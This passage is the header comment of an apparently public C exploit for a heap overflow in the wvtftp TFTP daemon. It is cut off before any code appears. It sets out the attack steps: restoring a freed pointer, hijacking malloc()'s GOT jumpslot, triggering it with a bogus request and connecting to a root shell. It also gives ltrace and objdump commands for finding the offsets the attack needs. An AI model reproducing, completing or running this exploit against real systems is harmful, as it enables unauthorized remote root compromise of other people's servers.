/*
* wvtftp option name heap overflow remote root exploit
*
* infamous42md AT hotpop DOT com
*
* exploitation is not exactly straight forward. When we overflow our buffer,
* we overwrite a pointer that is freed before we get to trigger our overwrite.
* so we have to restore the state of this pointer to some sane value so it can
* be freed. after we do this, we trigger the overwrite, and hijack the
* jumpslot for malloc(). then to trigger malloc(), we send a bogus request,
* and then connect to our shell. all of the offsets should be fixed for 32 bit
* platforms, all you need to pass is the base address of the heap buffer we're
* overflowing. 'ltrace wvtftpd -dd 2>&1 | grep malloc | grep 616', and of
* course the jumpslot for malloc(), 'objdump -R wvtftpd | grep malloc'.
*
